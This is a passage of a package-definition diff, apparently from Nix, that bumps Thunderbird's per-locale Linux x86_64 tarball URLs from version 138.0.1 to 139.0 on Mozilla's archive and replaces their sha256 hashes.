-      sha256 = "775b9abca39f5a38f42508081bee10c680eab7226f14d0b4b47a24b8c6859593";
+      sha256 = "740956b16435fdf49ef73f98afffddc3c4c284d65abf4d4bb189c9b96d8d2da8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/ast/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ast/thunderbird-139.0.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "66481bfc9e9cefe3865b57dc021e25cecb6473ac39f114795be2808a2888304d";
+      sha256 = "a2d4538c039bd0cbdb2ae622578342ad95bd66cd085fb3652819fb29d11a804b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/be/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/be/thunderbird-139.0.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "479d8fc38b7d90b3927699e87433a1b53313e52aa552a02bb67d95dbefce2321";
+      sha256 = "3581659d0c64ee37a7d96788e6b199839b508d9019650ba76e3d1f5bbe823fca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/bg/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/bg/thunderbird-139.0.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "c097bc1bcd38aeefc677409af611f46250ffbd1623a34f5ebb1e6d18ce46901d";
+      sha256 = "3acc2e43429f193cb863a9e3e50dc15ee8232b06431cdbd499fa1ca3b1f8f219";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/br/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/br/thunderbird-139.0.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "0b974402095a491917a542fedfdf337686fab6d4b3df2a11741b918d6d3de9a1";
+      sha256 = "545f2d3d689579a64e3d544f3e2db970ac65e3789825e3dda07d2d5080bb3368";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/ca/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ca/thunderbird-139.0.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "2fa6490081001048db2cafcfffa137a3faac7ab4fa5f8fab1b961ec3385f9127";
+      sha256 = "ea4da0f5d94de50ec09043ee6cc213ea6b9ee4545d52e9a4e8bf7715143e3b66";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/cak/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/cak/thunderbird-139.0.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "3e5671a1fac2f525f55cfca7b22dd54e6405e7798250534932ebb15dd7528281";
+      sha256 = "a46cec03536e2862ed7c409dc5cd757094d9ca25b2df1d276ae337ef819a9d7d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/cs/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/cs/thunderbird-139.0.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "818be66330654c33dae58f6d12f964fcbd303087794e63d9882b24d27291cc95";
+      sha256 = "e3e85562e23dcfb250ac762af68469dd366d26566d8873d103c9f5700a2a9168";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/cy/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/cy/thunderbird-139.0.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "cc694a7830b02a99e44139d22645601e82c229493182a4f56c6de963ce44f460";
+      sha256 = "1f20853442d0e559436ba42a9eb4d3a7f3afd49717c0ae23f2df7b320563e926";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/da/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/da/thunderbird-139.0.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "ba493c8f8090ff2d07e09e80e567004e6c75d4147e41994d2137978101f12ec5";
+      sha256 = "ac8b754794ae9846332dc7b23e24ca601af47a12212d83684a433ae3106bfb2e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/de/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/de/thunderbird-139.0.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "5dc96feca1b53e73b5c4a5c705a299f92be0f0d7bf97305c849639660adccb64";
+      sha256 = "355d5916ec358587e48da147777e9ff0095e1acb05bc5a5e6f5d0aa1d6f8be43";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/dsb/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/dsb/thunderbird-139.0.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "eca7dd892230772da73825322d848d81bd689e3dee86424a1adbc41dd9150bd5";
+      sha256 = "57b7b6d9cc8c85a1f818b7be457bbcbe7c38b7c97304a54e136faa68fca8762e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/el/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/el/thunderbird-139.0.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "8a11983a86ec9a8733a3c33a8b3487a68d087dd1473f7e1b7025e2501303562d";
+      sha256 = "576dfffd856c453621d004a37c6a7da9ab64886bf7004fa9f7565ecf4b6c3c7e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/en-CA/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/en-CA/thunderbird-139.0.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "79052f38101956280b2be5920eafc082a77250ceb680b2d576b8241271f1d553";
+      sha256 = "7225ce6dca0ed0fa03b8d1b964cd1cdd189dc2167276c12ff7b48f1909905159";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/en-GB/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/en-GB/thunderbird-139.0.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "b5c577b6ecf8f3db288cbc4a0dfdd5042545189a86a4e19cc8839c621efd3a7b";
+      sha256 = "d0862a511498c99d61e5c66398ca25cd71d6298d62954fc7626b27c9c0d63bb8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/en-US/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/en-US/thunderbird-139.0.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "e5c98a14416debd9c80df438ce5da71ab389f9ae4f0b4b7a7a7c53e105f475a3";
+      sha256 = "1f8514fb99dcb7bcfe12e290ca7e194f8b4b3d5c5ed246a16f4a283d2bddf691";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/es-AR/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/es-AR/thunderbird-139.0.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "1b75191c44eeaa0c7bc8dd4f3d74b2748b26adf6c84609e673f2511816240015";
+      sha256 = "6d0ad20cce34018487abd11a995d36d71a220ab8be4639048114d847712617d3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/es-ES/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/es-ES/thunderbird-139.0.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "d4a80cae7aa734a2f3dd8345f28364ecd6053040f0e27d8b4191dd13b9ecb23a";
+      sha256 = "c7d950eb70fc92efbfcca9dba10cdde664715825a68dd6459e9e13fa746e6f32";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/es-MX/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/es-MX/thunderbird-139.0.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "4f0ccc9d0aaebc9948f516674de57b330482e32c213b17a913beaa6310f7ddb1";
+      sha256 = "e424d4db1417fdda36eea5974d67216bf57a8450a90948b7abcbf9e3f7073270";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/et/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/et/thunderbird-139.0.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "9dd981bcaf090807b5e39e25620bc0e16f97343223d788f682e6ff17f36a3d4f";
+      sha256 = "7487d998475443c997dce5e5547b8cd76dc68fe2e6cc115eb2bbbe7a8ccbee70";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/eu/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/eu/thunderbird-139.0.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "187b407ab590ac5edf8be7057137a63f90db905fe99d21387680181e9a676e43";
+      sha256 = "ca41074f29861e8ef86c395029a7a57d0862687fa36bfb05ed60a724833443cc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/fi/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/fi/thunderbird-139.0.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "86d41c0c869d2174d4960d27e891d4ea9358a4d49e43ecc458aa9678cd2b787b";
+      sha256 = "1e3869b73e836112091b729eac3da06aa172d511a2f3506f82d82d6e9db17d6c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/fr/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/fr/thunderbird-139.0.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "c59e22fb1d68f6d152d7b11e8d8bd8e804c60426b76e45362dfb496a39000551";
+      sha256 = "5c3fea43f9dd66ef90595937d1d5b3fda420822d2a49691f79d2b3f578f8dba7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/fy-NL/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/fy-NL/thunderbird-139.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "dd8655d113338975ced5e247429419f59a1d0f08c980c74eb8cd074bb7503dfa";
+      sha256 = "910f9627e91feda9e1f98bf6348d708eb3f00574ea99ae0a30f32012b78c3b39";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/ga-IE/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ga-IE/thunderbird-139.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "9af1b23145e139752692f10ee86448a48dd1bde852c68eac800c17c9a7c8c2e3";
+      sha256 = "35607d66b02e47257d15cab48c54c087fc5b2b905e841f9944cfda33f255ee1b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/gd/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/gd/thunderbird-139.0.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "45c4a6e3e70cf57770c09130d469a643e400992136d1e6b31b9d8c6abaf72ead";
+      sha256 = "bea781be5d94f901bbb5fe9e94e4176944d3041385fcb943da53c12245a88385";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/gl/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/gl/thunderbird-139.0.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "dc1707ecbba8f7c41aa5bea66d5c05a042bbeb43965fd61605b913850b107e9c";
+      sha256 = "a7309e0e2f3a91e31ce4ba9509fd54eb30ef42aaa82132b634ad509b8d1d0a4d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/he/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/he/thunderbird-139.0.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "d3c563a5a08b7da302070afcbf22b3b282fe04c24804ae20f3bab72e108724b1";
+      sha256 = "43365b9bf523a15808f300570c896c9e5bfa18e79c6a968636057dc70f71a67c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/hr/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/hr/thunderbird-139.0.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "8432b563726859aae9b48cde72fe9052bd470b677503569f7b94b8099afb2d49";
+      sha256 = "bcc5879e8945bbb394f729d17f226fccdd10ed5e72ce9b1d2e40f32be4f53132";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/hsb/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/hsb/thunderbird-139.0.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "ef81ff26964f54a6fbf0514eaa5daebcd9bdd14e1adfe760f97e63957ab4f79b";
+      sha256 = "b4e1c56febc88d1e826d1540e216d02095ebb6cef3f5e28bce77c0f076acf40b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/hu/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/hu/thunderbird-139.0.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "eeb149d1f78476478dabec94d7cb52bd7231374356ee5921df367553a79a7146";
+      sha256 = "cba03b64d552da09345673dcd6242a2df5b20d887c6d88bdf7689eef8d305c62";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/hy-AM/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/hy-AM/thunderbird-139.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "006f60bdbd72652fbb1001f647415035a77673b385b0e9e3543a22a5b9a99cfd";
+      sha256 = "235b500c2fe2e04efd174359bcea6fda17358aca7a43ddfeadfecff6406889f0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/id/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/id/thunderbird-139.0.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "9b31f9d2266fecf4fd2c07fbb50c978a64cf704a5ac5d31339972ab518df025b";
+      sha256 = "5c72b39ad88327245c0c6b6867f5d4fb11579a85fd251c5023750334d35da7d5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/is/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/is/thunderbird-139.0.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "8c1a612ecb43cb2785b4cf7f60a063da236363cd9cd08f353a78eacf934bdf4d";
+      sha256 = "8e7eb286fbf0015997c9dfb5c97950f4d424b8f48b6c21e93a7d836e121e005f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/it/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/it/thunderbird-139.0.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "8f5144673ba515ca85fa6eb137f593cefe5b31ada7a7413938890a949252a4c9";
+      sha256 = "ad0cff4824e242de98853271b992fb5195327cb20fc792509bcd7ab8aee860dd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/ja/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ja/thunderbird-139.0.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "1770106e37a0e02ae38f728c906dc81895dd6842c3e22399d1b5f7fed80cdef9";
+      sha256 = "c16a82cfdec8d41fae86eafd0671a9cec6aac0e5916cfc7ef920ae143ac22e16";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/ka/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ka/thunderbird-139.0.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "78c156ba92139ac3e9a56db05f21a32b27600aed08981108c71e3a2a3c0bde6b";
+      sha256 = "0497c237996d343a3526de8343802bc1a32bed9db0e6f1c2e26736d9a48a867c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/kab/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/kab/thunderbird-139.0.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "74678a0d449fe58328c3fad25596072cb06d1148cc66bb97cd43aeef38528204";
+      sha256 = "768e6a5732030fcc9603a0e21a47c87a3c4b994c991aa6c2c8d5ab83033bc692";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/kk/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/kk/thunderbird-139.0.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "10321de8b1609f8acdb271329847666e79aeaa830fd16f1bccf64be3fbd26dee";
+      sha256 = "97644e44c041cc6fb46bba7031d22b1f4f7d2aeb5c1e5d3dc0bd6a357f2243ea";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/ko/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ko/thunderbird-139.0.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "b6a457343b31ada9c59a8a17eb477fe01ebe56a49b4ab986653578c2ddc3da01";
+      sha256 = "c04f654a0fb7d1bfb1d9d5ad84692b3834aa74ff7e506ee9f5e2f3b43026897f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/lt/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/lt/thunderbird-139.0.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "116035a5d42b54f8865af476eee059e7d9abaf3e41f7ab52f02cca1a15a172f5";
+      sha256 = "b574c7f9048f4f32fd1144ecd581c4663d590ee4f480b5c03cbb214570a7cb9d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/lv/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/lv/thunderbird-139.0.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "b3e38dc0da3c0833db054a754fb439189567acc16f642960af3b082c9179069b";
+      sha256 = "2db4ef87a14b1a50419aaefa26dab86b223aef43f9ccf8f9fe841d4c5d53ce54";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/ms/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ms/thunderbird-139.0.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "64465e3cb59dcdcf4c7b56c9b926f443878e25326fc0dc74116d9abe9af9ef25";
+      sha256 = "c4ba0e0014eeffcaee21ecd922e3cb2490425d15eaeb3eb61a6245106fa37e08";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/nb-NO/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/nb-NO/thunderbird-139.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "eeeb6164e4dd9273b8f1fc1c5ba1e5c303448d6c08ff0496db1402e7df51cecf";
+      sha256 = "f816eece9ab39146c93f0c662f352d263b51e62b21b10deb9278a90df67c842c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/nl/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/nl/thunderbird-139.0.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "fe05f8fac31904e93338a56ed960982b987d99c6fcf81dd3e9793c697c9b32fa";
+      sha256 = "a023abfc21d9666e65df50d2465b6998854034503a48fa617c28f2c9535a9f28";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/nn-NO/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/nn-NO/thunderbird-139.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "b4a5fa5632cc73fa8816c2dddf55a0c76ccd05b223965b8653516e2f007cf09b";
+      sha256 = "b4c2fe2fc8d0097e393bc0ee81668b4f19a4f507d7c2739a96d986e84facf604";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/pa-IN/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/pa-IN/thunderbird-139.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "efa30ca09eae5bb522748b29909724bb6edaea8072af2a15dd46d661f7d46f87";
+      sha256 = "75a63fccd953f4520cd8792ee9cde95266014e5faeeb43620432a3483ce3db96";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/pl/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/pl/thunderbird-139.0.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "466958dcc8382a11d0b8ea73ab0cca0a00b7b50681096fcb68e097f4ec956605";
+      sha256 = "21fb95a23574db84da3103dbf3b3bc0aa046983fe0f11e582cf080967d9aaf48";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/pt-BR/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/pt-BR/thunderbird-139.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "1682598d3af19c40546c8143e6b1b58e5359bf9540106ecaef35d5a7a06b15bd";
+      sha256 = "af3e1ee11930cffe57ecca9977b622da7ee525168229101d94d870a4e0f78372";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/pt-PT/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/pt-PT/thunderbird-139.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "ed64a1da61ddcedbed536baaf97c176cf4a056fd6513951ab91060538978292f";
+      sha256 = "7882d929048e9b06af3699468e2db15b82af795b02767933c84c4a0514f220e3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/rm/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/rm/thunderbird-139.0.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "06a27257ce8635a7828b47a98745697c4a55a206459aa9b242e7e73a8f2727bf";
+      sha256 = "f217b0696f1033f2af9417db6568a81a16fc76e1733e7bfb698c2a5741ca8795";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/ro/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ro/thunderbird-139.0.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "d94d5adfcf899b015b8cd46ae2c5ae95730e61fe70b8520ba314ecaeeeba919a";
+      sha256 = "71568029deccda0357faa339b6d843cb9d07e369923297896d4be2cfd981cf8c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/ru/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ru/thunderbird-139.0.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "e1e494b8de2d7756773fedecfe91d59c34cc6963c98a46f38c44f21dc59309d9";
+      sha256 = "d0950d2d9cd58d8e4af6d158218b1b4d613081edab2117f4d245d15efe23ba85";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/sk/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/sk/thunderbird-139.0.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "5bf96757eed943df474353feade2d2a7bf17d619f23331ab9e5983d6d049c2ea";
+      sha256 = "a844c9711775d72e7710ee9c45469037be60c1e2c431948b38b3c82e54184520";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/sl/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/sl/thunderbird-139.0.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "04c62c0f1e14d62ca77be2832952f864a752cf430c0c5b00c0c0db8e6ea55c78";
+      sha256 = "44d549a4b483201616b73c1b8cd9303d93d826535e6fb249f38f65b47d7b7373";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/sq/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/sq/thunderbird-139.0.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "8070a7238d820f2ce8f645845f43a3817c1f9064ddc4e9cc5c26324e8edaf56e";
+      sha256 = "58841c4cd7ed509306dbb887f747ab99a108ab702367f1a7315c2c3fc68d1d5c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/sr/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/sr/thunderbird-139.0.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "af63eddbbc5db5e88062c1610482bcac520d84d11dcdfeccf39d925b975873a2";
+      sha256 = "fe49124005cbb8e7448e2a2bc136f2128d7db08a73b16d106c0318e84389b9fe";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/sv-SE/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/sv-SE/thunderbird-139.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "c0a8624eb183e23afb340c72e10585439a73393d553125917fec8bbf373568b7";
+      sha256 = "92e30e054c660ccb19be54e0a877abc2ba10367575ce37c2f877d46481edf9a4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-x86_64/th/thunderbird-138.0.1.tar.xz";
